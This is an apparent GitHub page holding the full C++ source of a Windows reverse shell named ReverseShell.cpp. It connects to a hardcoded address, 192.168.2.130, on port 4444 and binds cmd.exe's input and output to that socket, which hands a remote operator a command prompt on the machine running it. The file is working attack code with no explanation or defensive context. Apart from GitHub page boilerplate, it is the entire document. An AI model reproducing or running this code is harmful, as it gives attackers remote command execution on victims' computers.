Permalink
Cannot retrieve contributors at this time
Join GitHub today
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
Sign up
Fetching contributors…

// ReverseShell.cpp : Defines the entry point for the console application. | |
// | |
#include "stdafx.h" | |
#define _WINSOCK_DEPRECATED_NO_WARNINGS | |
#include <winsock2.h> | |
#include <stdio.h> | |
#pragma comment(lib,"ws2_32") | |
WSADATA wsaData; | |
SOCKET s1; | |
struct sockaddr_in hax; | |
char ip_addr[16]; | |
STARTUPINFO sui; | |
PROCESS_INFORMATION pi; | |
int _tmain(int argc, _TCHAR* argv[]) | |
{ | |
WSAStartup(MAKEWORD(2, 2), &wsaData); | |
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); | |
hax.sin_family = AF_INET; | |
hax.sin_port = htons(4444); | |
hax.sin_addr.s_addr = inet_addr("192.168.2.130"); | |
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); | |
memset(&sui, 0, sizeof(sui)); | |
sui.cb = sizeof(sui); | |
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); | |
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1; | |
TCHAR commandLine[256] = L"cmd.exe"; | |
CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi); | |
} |